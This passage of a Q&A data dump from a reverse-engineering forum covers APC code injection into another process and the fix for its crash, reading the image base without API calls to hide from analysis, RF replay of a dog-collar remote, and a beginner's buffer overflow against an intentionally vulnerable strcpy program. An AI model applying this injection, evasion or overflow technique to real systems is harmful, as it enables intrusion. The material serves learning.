exists a great variety of it (some are self-encrypted with various keys to evade IDS).</p>\n\n<p>And, then, you also have to take into account the way you inject the shellcode in the program, you may have several limitations (only ASCII or UTF-8 characters for examples). This will give another set of shellcodes (for example, see <a href=\"http://www.phrack.org/issues/62/9.html\" rel=\"nofollow noreferrer\">this article</a>).</p>\n\n<p>Finally, as I said at the beginning you may have size constraints. Which tends to try to have the smallest shellcode possible.</p>\n"
    },
    {
        "Id": "19628",
        "CreationDate": "2018-10-15T09:21:44.503",
        "Body": "<p>I tried the following payload for APC injection in Windows.<br>\nIt gets executed successfully(<em>pops up a MessageBox</em>) but the <strong>process crashes after the execution of payload</strong>.<br>\nWhat could be the possible reason(s) for this?</p>\n\n<p>Payload:</p>\n\n<pre><code>push   ebp                     ;save ebp\nmov    ebp,esp                 ;start new frame\nsub    esp,0x8                 ;make space for strings\nmov    BYTE PTR [ebp-0x4],0x48 ;store strings\nmov    BYTE PTR [ebp-0x3],0x0\nmov    BYTE PTR [ebp-0x8],0x46\nmov    BYTE PTR [ebp-0x7],0x0\npush   eax                     ;save registers to restore the values later\n                               ;(I think that I need not save all registers\n                               ;but only the ones I use,\n                               ;but since the process kept crashing after the payload execution\n                               ;I thought let's not take a chance! :P\npush   ebx\npush   ecx\npush   edx\npush   edi\npush   esi\npush   0x0                     ;push arguments for MessageBox()\nlea    eax,[ebp-0x4]\npush   eax\nlea    eax,[ebp-0x8]\npush   eax\npush   0x0\ncall   DWORD PTR [ebp+0x8]     ;call MessageBox()\npop    esi                     ;restore registers\npop    edi\npop    edx\npop    ecx\npop    ebx\npop    eax\nxor    eax, eax\nmov    esp,ebp\npop    ebp                     ;restore ebp\nret                            ;return\n</code></pre>\n\n<p>Injection code:</p>\n\n<pre><code>QueueUserAPC((PAPCFUNC)p, hThread, messageBoxAddr); //p: address of payload(written to victim process)\n</code></pre>\n\n<p>Error Message(From IDA Pro, WinDbg):</p>\n\n<pre><code>The instruction at 0x771C63BD referenced memory at 0x75C2442D. The memory could not be read -&gt; 75C2442D (exc.code c0000005, tid 2948)\n</code></pre>\n\n<p>It basically says that <code>edi</code> in <code>mov  ecx, [edi+2CCh]</code> (coming after the payload execution) has an invalid address. </p>\n\n<p>Disassembled code near crash:</p>\n\n<pre><code>ntdll:771C63BD ; ---------------------------------------------------------------------------\nntdll:771C63BD mov     ecx, [edi+2CCh]    ;&lt;--- It CRASHES here\nntdll:771C63C3 mov     large fs:0, ecx\nntdll:771C63CA push    1\nntdll:771C63CC push    edi\nntdll:771C63CD call    near ptr ntdll_ZwContinue\nntdll:771C63D2 mov     esi, eax\nntdll:771C63D4\nntdll:771C63D4 loc_771C63D4:                           ; CODE XREF: ntdll:ntdll_KiUserApcDispatcher+42j\nntdll:771C63D4 push    esi\nntdll:771C63D5 call    near ptr ntdll_RtlRaiseStatus\nntdll:771C63DA jmp     short loc_771C63D4\n</code></pre>\n\n<p>Call stack:</p>\n\n<p><a href=\"https://i.stack.imgur.com/ypO50.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/ypO50.png\" alt=\"enter image description here\"></a></p>\n",
        "Title": "Why is the process crashing after executing my injected payload?",
        "Tags": "|windows|assembly|injection|",
        "Answer": "<p>Here's the rest of the function where the crash happens:</p>\n\n<pre><code>_KiUserApcDispatcher@16 proc near\n lea     eax, [esp+2DCh]\n mov     ecx, large fs:0\n mov     edx, offset _KiUserApcExceptionHandler@16 ; KiUserApcExceptionHandler(x,x,x,x)\n mov     [eax], ecx\n mov     [eax+4], edx\n mov     large fs:0, eax\n pop     eax\n lea     edi, [esp+0Ch]\n call    eax\n</code></pre>\n\n<p>As you can see, <code>edi</code> is intialized from <code>esp</code>, so the crash likely happens because of <em>wrong esp</em> after the call. Now, let's check the API headers:</p>\n\n<pre><code>WINBASEAPI\nDWORD\nWINAPI\nQueueUserAPC(\n    _In_ PAPCFUNC pfnAPC,\n    _In_ HANDLE hThread,\n    _In_ ULONG_PTR dwData\n    );\n</code></pre>\n\n<p>and <code>PACPFUNC</code> is:</p>\n\n<pre><code>typedef\nVOID\n(NTAPI *PAPCFUNC)(\n    _In_ ULONG_PTR Parameter\n    );\n</code></pre>\n\n<p>Where <code>NTAPI</code> is:</p>\n\n<pre><code>#define NTAPI __stdcall\n</code></pre>\n\n<p><code>__stdcall</code> functions are responsible for cleaning up the stack from their incoming arguments, and since our function accepts one argument of type <code>ULONG_PTR</code> (a pointer, so 4 bytes), it must <em>clean up the stack at return</em> , i.e. use <code>retn 4</code> instead of just <code>retn</code> which is enough for <code>__cdecl</code> functions.</p>\n"
    },
    {
        "Id": "19640",
        "CreationDate": "2018-10-16T16:18:25.090",
        "Body": "<p>I load the entire PE into an <code>std::vector&lt;Byte&gt; fileContent</code> using <code>std::fstream</code>.</p>\n\n<p>Then I obtain the executable's dos header:</p>\n\n<p><code>IMAGE_DOS_HEADER* imageDosHeader = (IMAGE_DOS_HEADER*)fileContent.data();</code></p>\n\n<p>After that, I check whether the PE is valid(<code>MZ</code> and <code>PE00</code> signatures).</p>\n\n<p>If it is, I get its import descriptor:</p>\n\n<pre><code>IMAGE_IMPORT_DESCRIPTOR* imageImportDescriptor = (IMAGE_IMPORT_DESCRIPTOR*)((DWORD)imageDosHeader + imageNtHeader-&gt;OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);\n\n//Note: the VirtualAddress field equals 0x4FFC, so I assume it's valid\n</code></pre>\n\n<p>Now, I iterate through the dlls and try to display their names as following:</p>\n\n<pre><code>for(DWORD i = 0; ; i++)\n{\n    bool isCurrentDllValid = true;\n\n    //if all fields of the current dll are zeros, then this dll is the last one, so break the outer loop\n    for(DWORD j = 0; j &lt; sizeof(IMAGE_IMPORT_DESCRIPTOR); j++)\n    {\n        if((*(DWORD*)((DWORD)&amp;imageImportDescriptor[i] + j)))\n            break;\n        else if(j == sizeof(IMAGE_IMPORT_DESCRIPTOR) - 1)\n            isCurrentDllValid = false;\n    }\n\n    if(!isCurrentDllValid)\n        break;\n\n    char* dllName = (char*)((DWORD)imageDosHeader + imageImportDescriptor[i].Name);\n</code></pre>\n\n<p>The problem is: an attempt to display the <code>dllName</code> causes crash.</p>\n\n<p>Also, the <code>Name</code> field is an RVA, but its value is <code>0x6C61766E</code> (the same thing is with the rest of the fields, the smallest one is <code>TimeDateStamp</code> with <code>0x637465</code>, still abnormal one), while size of the PE is less than <code>0x7000</code>.</p>\n\n<p>In hex editor, RVA of e.g. <code>\"KERNEL32.dll\"</code> is <code>0x46F0</code>.</p>\n\n<p>Have you any idea why is it so? Am I missing something really simple?</p>\n",
        "Title": "Wrong RVA values inside IMAGE_IMPORT_DESCRIPTOR",
        "Tags": "|windows|binary-analysis|pe|binary|binary-format|",
        "Answer": "<p>Unless you are loading a mapped PE file in your vector, you have to convert all RVAs to file offsets.</p>\n\n<p>The pseodocode looks something like this:</p>\n\n<pre><code>func rva2offset(pe, rva):\n    for section in pe.sections:\n        if rva &gt;= section.rva and rva &lt; section.rva + section.size:\n            return section.fileoffset + (rva - section.rva)\n    return nil\n</code></pre>\n\n<p>The code does not account for the actual way the kernel maps the PE file in memory (alignment and other edge cases), so use it with care.</p>\n"
    },
    {
        "Id": "19643",
        "CreationDate": "2018-10-17T03:01:27.720",
        "Body": "<p>I've been trying to analyze an ARM binary but cannot figure out how the operators and operands are stored in the bytes of a program.</p>\n\n<p>For example, by looking at the disassembly listing of an ARMv7 binary,  I cannot deduce what the opcode for <code>cmp</code> is from these three lines, nor do I understand how it's encoded or how it's operands are encoded:</p>\n\n<pre><code>cmp r5, #0; 0x2d00\ncmp r4, #0; 0x2c00\ncmp r0, r2; 0x4290\n</code></pre>\n\n<p>How is the <code>cmp</code> operator, and it's respective operands encoded into two bytes?</p>\n",
        "Title": "How are ARMv7 assembly opcodes and operands stored in bytes?",
        "Tags": "|disassembly|arm|",
        "Answer": "<p>See <a href=\"http://lars.nocrew.org/computers/processors/ARM/ARM7/manual.pdf\" rel=\"nofollow noreferrer\">ARM7 Data Sheet</a> \n4.4 Data processing page 23.\nBut there will be the different encoding of the instruction depending on the instruction set (ARM or Thumb). See also this <a href=\"https://stackoverflow.com/questions/10638130/what-is-the-arm-thumb-instruction-set\">question</a> </p>\n"
    },
    {
        "Id": "19660",
        "CreationDate": "2018-10-18T18:35:48.157",
        "Body": "<p>Is there any way to get the image base of an <code>.exe</code> without calling WinAPI functions (i.e. imported functions) so that it can't be easily viewed in a disassembler/debugger?</p>\n\n<p>I've been thinking of declaring a global variable anywhere in code and reading its address in a loop backwards until e.g.<code>MZ</code> is found (obviously checking for <code>NULL</code> in the meantime). However, there may be a section which isn't readable, a string in <code>.rdata</code> which contains the <code>MZ</code> characters or some value (especially a function address or generally pointers) that contains the <code>MZ</code> bytes (<code>0x4D</code>, <code>0x5A</code>) (and probably a few more \"situations\").</p>\n\n<p>Have you any idea how to achieve that? Is it even possible?</p>\n",
        "Title": "Is there any way to get my own image base without calling any WinAPI functions, such as GetModuleHandle?",
        "Tags": "|windows|pe|executable|exe|",
        "Answer": "<p>To get your own image base in 32-bit code, you can do this:</p>\n\n<pre><code>mov eax, fs:[30h]\nmov eax, [eax+8]</code></pre>\n\n<p>which you can obviously obfuscate in multiple ways, such as by moving fs: into ds: temporarily, calculating \"30h\" and \"8\" by multiplying, etc.</p>\n\n<p>64-bit code is gs:[60h] and +10h instead.</p>\n"
    },
    {
        "Id": "19667",
        "CreationDate": "2018-10-19T08:16:17.073",
        "Body": "<p><a href=\"https://challenges.re/65/\" rel=\"nofollow noreferrer\">Challenge 65</a>: Try to determine the dimensions of the array, at least partially. </p>\n\n<pre><code>_array$ = 8 \n_x$ = 12    \n_y$ = 16    \n_z$ = 20    \n_f  PROC\n    mov eax, DWORD PTR _x$[esp-4]\n    mov edx, DWORD PTR _y$[esp-4]\n    mov ecx, eax\n    shl ecx, 4\n    sub ecx, eax\n    lea eax, DWORD PTR [edx+ecx*4]\n    mov ecx, DWORD PTR _array$[esp-4]\n    lea eax, DWORD PTR [eax+eax*4]\n    shl eax, 4\n    add eax, DWORD PTR _z$[esp-4]\n    mov eax, DWORD PTR [ecx+eax*4]\n    ret 0\n_f  ENDP\n</code></pre>\n\n<p>In this challenge, I can only determine the last two dimensions as 60 and 80, so how to determine the first dimension?</p>\n\n<p>I determined: </p>\n\n<pre><code>array[?][60][80]\n</code></pre>\n\n<p>Progress to determine last two dimensions:</p>\n\n<pre><code>return: array + 5*16*(4*(16*X-X)+Y)+Z \n                     \u2193\nreturn: array + 80*(60*X+Y)+Z \n                     \u2193\nThe second dimension is 60 and the third dimension is 80.\n</code></pre>\n\n<p>.</p>\n\n<p>Answers from Chinese-published version of RE4B, ISBN:9787115434456, Page 944\n<a href=\"https://i.stack.imgur.com/9YW2A.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/9YW2A.png\" alt=\"answer\"></a></p>\n",
        "Title": "RE4B challenge 65: how to determine the first dimension of the array?",
        "Tags": "|array|",
        "Answer": "<p>According to the given code here, I don't think its possible to recover the third dimension.</p>\n\n<pre><code>_array$ = 8 \n_x$ = 12    \n_y$ = 16    \n_z$ = 20    \n_f  PROC\n    mov eax, DWORD PTR _x$[esp-4]\n    mov edx, DWORD PTR _y$[esp-4]\n    mov ecx, eax\n    shl ecx, 4   ; ecx = x*16\n    sub ecx, eax ; ecx = x*16 - x\n    lea eax, DWORD PTR [edx+ecx*4] ; eax = y+(15*x)*4\n    mov ecx, DWORD PTR _array$[esp-4]\n    lea eax, DWORD PTR [eax+eax*4] ; eax = (y+(15*x)*4)*5\n    shl eax, 4                     ; eax = (y+(15*x)*4)*5*16\n    add eax, DWORD PTR _z$[esp-4]  ; eax = z+80*(y+(15*x)*4)\n    mov eax, DWORD PTR [ecx+eax*4] ; return array+4*(z+80*(y+(15*x)*4))\n    ret 0\n_f  ENDP\n</code></pre>\n\n<p>Final expressions are</p>\n\n<pre><code>array+4*(z+80*(y+(15*x)*4))\narray + 4*z + 320*y + 19200*x\narray + 80*60*4*x + 80*4*y + 4*z\n</code></pre>\n\n<p>In z you have 80 elements of size 4, in y you have 60 z elements. Thats all the information we can get from here. </p>\n\n<p>I also tried writing and compiling a similar function.</p>\n\n<pre><code>#include &lt;stdio.h&gt;\n\nint arr[50][60][80];\n\nint f(int a[50][60][80], int x, int y, int z) { return a[x][y][z]; }\n\nint main(int argc, char **argv) {\n    f(arr, 5, 5, 5);\n    return 0;\n}\n</code></pre>\n\n<p>Compiling with <code>gcc -no-pie -fno-pic -m32 x.c -o x</code> and then analyzing with r2.</p>\n\n<pre><code>$ r2 x                              \n -- Change the registers of the child process in this way: 'dr eax=0x333'\n[0x080482e0]&gt; aaa\n...\n[0x080482e0]&gt; s sym.f\n[0x080483f6]&gt; afvn arr arg_8h \n[0x080483f6]&gt; afvn x arg_ch \n[0x080483f6]&gt; afvn y arg_10h \n[0x080483f6]&gt; afvn z arg_14h \n[0x080483f6]&gt; pdf\n\u250c (fcn) sym.f 41\n\u2502   sym.f (int arr, int x, int y, int z);\n\u2502           ; arg int arr @ ebp+0x8\n\u2502           ; arg int x @ ebp+0xc\n\u2502           ; arg int y @ ebp+0x10\n\u2502           ; arg int z @ ebp+0x14\n\u2502           ; CALL XREF from sym.main (0x804842d)\n\u2502           0x080483f6      55             push ebp\n\u2502           0x080483f7      89e5           mov ebp, esp\n\u2502           0x080483f9      8b450c         mov eax, dword [x]          ; [0xc:4]=-1 ; 12\n\u2502           0x080483fc      69d0004b0000   imul edx, eax, 0x4b00\n\u2502           0x08048402      8b4508         mov eax, dword [arr]        ; [0x8:4]=-1 ; 8\n\u2502           0x08048405      8d0c02         lea ecx, [edx + eax]\n\u2502           0x08048408      8b5510         mov edx, dword [y]          ; [0x10:4]=-1 ; 16\n\u2502           0x0804840b      89d0           mov eax, edx\n\u2502           0x0804840d      c1e002         shl eax, 2\n\u2502           0x08048410      01d0           add eax, edx\n\u2502           0x08048412      c1e004         shl eax, 4\n\u2502           0x08048415      8b5514         mov edx, dword [z]          ; [0x14:4]=-1 ; 20\n\u2502           0x08048418      01d0           add eax, edx\n\u2502           0x0804841a      8b0481         mov eax, dword [ecx + eax*4]\n\u2502           0x0804841d      5d             pop ebp\n\u2514           0x0804841e      c3             ret\n</code></pre>\n\n<p>Here 0x4b00 = 80*60*4. There's no information on the upper bound of x as is the case with simple 1-d arrays. SO you can't recover any more information from your snippet.</p>\n"
    },
    {
        "Id": "19671",
        "CreationDate": "2018-10-20T12:40:49.830",
        "Body": "<p>I have a Petrainer PET998DRU shock collar (similar to <a href=\"https://rads.stackoverflow.com/amzn/click/B00W6UVROK\" rel=\"nofollow noreferrer\">this one</a>) that got partially chewed up by the dog it is supposed to train. I salvaged it to the point where I have the following buttons:</p>\n\n<ul>\n<li>Mode (to select light, beep, vibrate, and zap</li>\n<li>Activate (to send appropriate stimulation)</li>\n<li>Up arrow (to increase the amount of stim)</li>\n</ul>\n\n<p>The display does not work so I don't know what the setting (which stim and how much) is on other than trial and error.</p>\n\n<p>I have followed the method on here: <a href=\"http://brettleaver.com/collar/\" rel=\"nofollow noreferrer\">http://brettleaver.com/collar/</a> to get as far as I have gotten but the protocol differs on this model and I have only been able to figure out the device ID and the stim type (I think). I can replay the packets on a separate 433Mhz transmitter and the collar responds appropriately but I want to figure out the whole packet. The amount of stim is what I need helping decoding.</p>\n\n<p><strong>Logic for beep</strong>\n<a href=\"https://i.stack.imgur.com/08buD.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/08buD.png\" alt=\"Image for beep (no duration is encoded by design)\"></a></p>\n\n<p>I decoded this as <code>0xDF 7E DE ED 7F D6 AB</code>\nIf this is wrong, then please let me know because it may give me a clue as to why I can't figure out the rest.</p>\n\n<p><strong>Logic for zap</strong>\n<a href=\"https://i.stack.imgur.com/aBYSv.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/aBYSv.png\" alt=\"Image for zap (unknown duration)\"></a></p>\n\n<p>I decoded this as <code>0x\u202dDF DE DE ED 6F 7A AA C0\u202c</code>. The last bits to finish up the last octet are assumed to be logic 0's. Maybe this assumption is wrong though.</p>\n\n<p>I decoded the other packets similarly but I won't post all the images.</p>\n\n<p>EDIT: I have since gotten captures of vibrates and zaps where I know the duration is 0.</p>\n\n<ul>\n<li>Light: <code>0xDE FE DE ED 7F D5 AB</code></li>\n<li>Beep: <code>0xDF 7E DE ED 7F D6 AB</code></li>\n<li>Zap: <code>0x\u202dDF DE DE ED 7F EA AB\u202c</code></li>\n<li>Vibrate <code>0x\u202dDF BE DE ED 7F DA AB</code></li>\n</ul>\n\n<p>All the packets except the Light start out with <code>0XDF</code>. The next position (7, F, D, or B) seems to determine stim type. The next 5 are always<code>0xE DE ED</code> so that seems to determine the device ID. All the characters after that are encoding the duration of the zap or buzz and then something to do with a checksum of some sort.</p>\n\n<p>Here is what I got for the buzz stim in sequential order. After recording each one, I incremented by one and then sent the command again:</p>\n\n<ul>\n<li><code>0x\u202dDF BE DE ED</code> <strong><code>7F AD 55 80</code></strong></li>\n<li><code>0x\u202dDF BE DE ED</code> <strong><code>7F 6D 55 80</code></strong></li>\n<li><code>0x\u202dDF BE DE ED</code> <strong><code>7F 56 AA C0</code></strong></li>\n<li><code>0x\u202dDF BE DE ED</code> <strong><code>7E ED 55 80</code></strong></li>\n<li><code>0x\u202dDF BE DE ED</code> <strong><code>7E D6 AA C0</code></strong>\n...</li>\n</ul>\n\n<p>An interesting thing I found is that one of the following patterns are always present but I can't figure out the significance:</p>\n\n<ul>\n<li><code>0x__ _B 55 60</code></li>\n<li><code>0x__ _D 55 80</code></li>\n<li><code>0x__ _6 AA C0</code></li>\n<li><code>0x__ _5 AA B0</code></li>\n</ul>\n\n<p>EDIT: Another interesting thing to note is that there is never 2 consecutive zeros. </p>\n\n<p>Assuming I haven't made a huge mistake from the beginning (this is my first attempt at reverse engineering something), does anyone see an obvious encoding scheme or checksum that is being used?</p>\n\n<p>My end goal is to code up a new 433MHz transmitter and make it controllable with a yet to be made mobile app.</p>\n",
        "Title": "Need help to reverse engineer a dog collar transmitter",
        "Tags": "|encodings|binary-diagnosis|",
        "Answer": "<h2>Answer</h2>\n<p>Consider a &quot;gap&quot; to be a &quot;low&quot; interval between two consecutive &quot;high&quot; interval, ignoring the first longest one. Then, a bit <code>1</code> corresponds to a long gap, and a bit <code>0</code> corresponds to a short gap.</p>\n<p><a href=\"https://i.stack.imgur.com/7kFKe.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/7kFKe.png\" alt=\"\" /></a></p>\n<p>Therefore, the messages decoded that way are:</p>\n<pre><code>88 14 4b 00 ee   : Light\n84 14 4b 00 de   : Beep\n81 14 4b 00 7e   : Zap\n82 14 4b 00 be   : Vibrate\n82 14 4b 01 be   : Buzz stim in sequential order\n82 14 4b 02 be\n82 14 4b 03 be\n82 14 4b 04 be\n82 14 4b 05 be\n82 14 4b 06 be\n82 14 4b 07 be\n82 14 4b 08 be\n</code></pre>\n<p>That follows the exact same pattern as described at <a href=\"http://brettleaver.com/collar/\" rel=\"nofollow noreferrer\">http://brettleaver.com/collar/</a>, except that the remote UID is <code>14 4b</code> instead of <code>20 89</code>.</p>\n<p>(quoting the link above:</p>\n<blockquote>\n<p>Now we can easily decode what the remote is sending! After changing the settings several times and looking at how it changes the transmission, it became clear what the signal represented.</p>\n<p><code><b>8</b>1 20 89 32 7e</code><br />\nThis will be set to <code>8</code> if the remote is on channel 1<br />\nThis will be set to <code>f</code> if the remote is on channel 2</p>\n<p><code>8<b>1</b> 20 89 32 7e</code><br />\nThis will be set to <code>1</code> when the remote is requesting a shock<br />\nThis will be set to <code>2</code> when the remote is requesting a vibration<br />\nThis will be set to <code>4</code> when the remote is requesting a beep<br />\nThis will be set to <code>8</code> when the remote is requesting an LED flash</p>\n<p><code>81 <b>20 89</b> 32 7e</code><br />\nThese bytes represent the UID of the remote, and never change.</p>\n<p><code>81 20 89 <b>32</b> 7e</code><br />\nThis byte represents the intensity of the vibration/shock.<br />\nThe collar will ignore anything above 100</p>\n<p><code>81 20 89 32 <b>7</b>e</code><br />\nThis will be set to <code>7</code> when the remote is requesting a shock<br />\nThis will be set to <code>B</code> when the remote is requesting a vibration<br />\nThis will be set to <code>D</code> when the remote is requesting a beep<br />\nThis will be set to <code>E</code> when the remote is requesting an LED flash</p>\n<p><code>81 20 89 32 7<b>e</b></code><br />\nThis will be set to <code>E</code> if the remote is on channel 1<br />\nThis will be set to <code>0</code> if the remote is on channel 2</p>\n<p><code>81 20 89 32 <b>7e</b></code><br />\nThis last byte is equal to the first byte, but with its bits reversed and inverted. I think it\u2019s some kind of error checking mechanism, as the collar will ignore all transmissions where this isn\u2019t the case.</p>\n</blockquote>\n<p>)</p>\n<hr />\n<h2>Derivation</h2>\n<p>Consider the signal in binary:</p>\n<pre>\n110111111011111011011110111011010111111110<b><i>101101010101011</i></b>0000000\n110111111011111011011110111011010111111101<b><i>101101010101011</i></b>0000000\n1101111110111110110111101110110101111111010<b><i>101101010101011</i></b>000000\n110111111011111011011110111011010111111011<b><i>101101010101011</i></b>0000000\n1101111110111110110111101110110101111110110<b><i>101101010101011</i></b>000000\n1101111110111110110111101110110101111110101<b><i>101101010101011</i></b>000000\n11011111101111101101111011101101011111101010<b><i>101101010101011</i></b>00000\n110111111011111011011110111011010111110111<b><i>101101010101011</i></b>0000000\n</pre>\n<p>Note how the <code><b><i>bold italic</i></b></code> part appear in all of the sequences, and not in a fixed place? That leads me to suspect that the message has a variable length, and the trailing zeroes doesn't matter.</p>\n<p>The common prefix of all the messages is <code>11011111101111101101111011101101011111</code>. We will cut out this part, but leave a <code>1</code> in the message -- the reason will be apparent later.</p>\n<p>The remaining part is:</p>\n<pre><code>11110\n11101\n111010\n11011\n110110\n110101\n1101010\n10111\n</code></pre>\n<p>Note that this is supposed to be (a part of) an increasing, consecutive number sequence.</p>\n<p>From OP's observation (there are no two consecutive zeroes), and note that there are 3 pairs in the data above where the latter one is the former one with a <code>0</code> appended, I guess that a <code>0</code> is encoded as a <code>10</code> and a <code>1</code> is encoded as a <code>1</code> (or vice versa).</p>\n<p>Replacing <code>10</code> with <code>1</code> gives:</p>\n<pre><code>1110\n1101\n1100\n1011\n1010\n1001\n1000\n0111\n</code></pre>\n<p>Looks good enough. This counts in decreasing order, so we have to negate the bits (<code>0</code> is encoded as <code>1</code>, <code>1</code> is encoded as <code>10</code>).</p>\n<p>It's obvious that the bits come in decreasing significance (most significant bit first). Because the value represented is from 1 to 100, the 3 previous bits are also a part of the value.</p>\n<p>I also suspect that</p>\n<p><a href=\"https://i.stack.imgur.com/lx5mQ.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/lx5mQ.png\" alt=\"\" /></a></p>\n<p>is only a start-of-transmission mark and does not contribute to the data,  because it's larger than all the others.</p>\n"
    },
    {
        "Id": "19682",
        "CreationDate": "2018-10-21T18:32:27.497",
        "Body": "<p>I am trying to get a buffer overflow exploit to work on Ubuntu 16.04 LTS 64bit.</p>\n\n<p>To this end I use the following vulnerable program:</p>\n\n<pre><code>#include &lt;stdio.h&gt;\n#include &lt;string.h&gt;\n#include &lt;stdlib.h&gt;\n\nint main(int argc, char* argv[])\n{\n\n    char buffer[256];\n    strcpy(buffer, argv[1]);\n    printf(\"%s\\n\", buffer);\n    return 0;\n}\n</code></pre>\n\n<p>I deactivate ALSR (temporarily set <code>/proc/sys/kernel/randomize_va_space</code> to <code>0</code>) and compile my code with</p>\n\n<pre><code>gcc vuln.c -o vuln -z execstack -fno-stack-protector\n</code></pre>\n\n<p>I manage to overwrite <code>rip</code> with 6 <code>B</code>'s using </p>\n\n<pre><code>gdb$ run $(python -c 'print \"A\"*264 + \"B\"*6')\n</code></pre>\n\n<p>and get the following result in gdb:</p>\n\n<pre><code>RSI: 0x602010 ('A' &lt;repeats 200 times&gt;...)\nRDI: 0x1 \nRBP: 0x4141414141414141 ('AAAAAAAA')\nRSP: 0x7fffffffd9d0 --&gt; 0x0 \nRIP: 0x424242424242 ('BBBBBB')\nStopped reason: SIGSEGV\n0x0000424242424242 in ?? ()\n</code></pre>\n\n<p>Which makes perfect sense to me.</p>\n\n<p>I would like to overwrite <code>rip</code> with the beginning of my buffer of \"<code>A</code>\"'s so I can later place my shellcode at the beginning of the buffer (preceeded by some noop's):</p>\n\n<p>So, knowing, how many <code>A</code>'s I wrote in the buffer I have a look at <code>rsp</code> minus an offset (I am just playing with the offset until I get a line starting with <code>A</code>'s:</p>\n\n<pre><code>gdb$ x/20x $rsp-288\n0x7fffffffd8b0: 0x00007fffffffdaa8  0x0000000200000000\n0x7fffffffd8c0: 0x4141414141414141  0x4141414141414141\n0x7fffffffd8d0: 0x4141414141414141  0x4141414141414141\n</code></pre>\n\n<p>So, from this I am taking, that my buffer starts at <code>0x7fffffffd8c0</code> on the stack.</p>\n\n<p>Next I'll redirect <code>rip</code> to <code>0x7fffffffd8c0</code> as follows:</p>\n\n<pre><code>gdb$ run $(python -c 'print \"A\"*264 + \"\\x7f\\xff\\xff\\xff\\xd8\\xc0\"[::-1]')\n</code></pre>\n\n<p>Which works:</p>\n\n<pre><code>RBP: 0x4141414141414141 ('AAAAAAAA')\nRSP: 0x7fffffffd9d0 --&gt; 0x0 \nRIP: 0x7fffffffd8c0 ('A' &lt;repeats 200 times&gt;...)\n</code></pre>\n\n<p>As I am planning to put shellcode at the beginning of the buffer I just assume, my shellcode will be 10 bytes long and see if this works:</p>\n\n<pre><code>gdb$ run $(python -c 'print \"S\"*10 + \"A\"*254 + \"\\x7f\\xff\\xff\\xff\\xd8\\xc0\"[::-1]')\n</code></pre>\n\n<p>and now something I don't understand happens: Despite the fact, that I write exactly the same amount of characters into my buffer, the value of <code>rip</code> changes, apparently it no longer points to the start of my buffer:</p>\n\n<pre><code>RSI: 0x602010 (\"SSSSSSSSSS\", 'A' &lt;repeats 190 times&gt;...)\nRDI: 0x1 \nRBP: 0x4141414141414141 ('AAAAAAAA')\nRSP: 0x7fffffffd980 --&gt; 0x0 \nRIP: 0x7fffffffd8ca ('A' &lt;repeats 182 times&gt;)\n</code></pre>\n\n<p>Instead of <code>0x7fffffffd8c0</code> <code>rip</code> now contains <code>0x7fffffffd8ca</code>.</p>\n\n<p>So it is actually still pointing to the beginning of my <code>A</code>'s instead of the <code>S</code>'s which I injected in my python command:</p>\n\n<pre><code>gdb-peda$ x/20 $rip-10\n0x7fffffffd8c0: 0x5353535353535353  0x4141414141415353\n0x7fffffffd8d0: 0x4141414141414141  0x4141414141414141\n</code></pre>\n\n<p>Obviously I am just getting started with this stuff.</p>\n\n<p>Why is this happening?</p>\n\n<p>What am I missing?</p>\n",
        "Title": "x86-64 bit Buffer Overflow, help with overwriting %rip",
        "Tags": "|buffer-overflow|amd64|",
        "Answer": "<p>Don't worry, the shellcode is executing properly, just that the debugger \"skipped\" past the execution.</p>\n\n<p>Remember that <code>rip</code> is the instruction pointer and whatever code present at the <code>rip</code> is executed. If the code is invalid however, something will go wrong (for example a SIGSEGV will be raised)</p>\n\n<p>In this particular case, a <code>S</code> (byte <code>\\x53</code>) corresponds to a <code>push rbx</code> command (which is valid, and push 8 bytes to the stack), while an <code>A</code> is a <code>rex.B</code> - basically speaking, it causes a SIGSEGV in this case.</p>\n\n<p>So in the latter case, ten <code>push rbx</code> commands get executed. (note the <code>esp</code> is decreased by <code>0x7fffffffd9d0 - 0x7fffffffd980 = 0x50</code>, which is 10 times the size of <code>rbx</code>)</p>\n\n<p>What you can do instead: Break at the <code>ret</code> instruction in the <code>main</code> function. After the breakpoint is hit, execute 1 more instruction then the <code>rip</code> should have the desired value.</p>\n"
    },
    {
        "Id": "19684",
        "CreationDate": "2018-10-22T13:14:55.820",
        "Body": "<p>Yes, it's one of these!</p>\n\n<p>I have a 199mumble Brother integrated word processor, with a very weird non-PC floppy format. I've built a floppy controller and have successfully read the flux off the disk, decoded <em>both</em> kinds of GCR, and reassembled the result into a disk image. But I need to be able to check the checksums in the sectors to know whether I've done it right. (Eyeballing it looks good.)</p>\n\n<p>Each sector is 256 bytes and is followed by three bytes which vary depending on the contents of the sector --- identical sectors produce identical values, so I'm assuming it's a checksum. Interestingly, the all-zero sector produces an all-zero checksum, so I suspect it's not a regular CRC.</p>\n\n<p>I have 100 different examples but there may be some incorrect results in there (due to misread sectors); the full list is at <a href=\"https://pastebin.com/0HZrUVPR\" rel=\"noreferrer\">https://pastebin.com/0HZrUVPR</a> but here are a few selected examples, in what's hopefully reveng format so the checksum is in the last three bytes:</p>\n\n<pre><code>00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005750314120464c4f505059080000000000000000000000000000000000000000616161616161616120202020000000000000000000000000000002000a5d000064656d6f20202020a4ca1a\n414141414141414141410000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008b38af\n414141414141414141414141414141414141414141414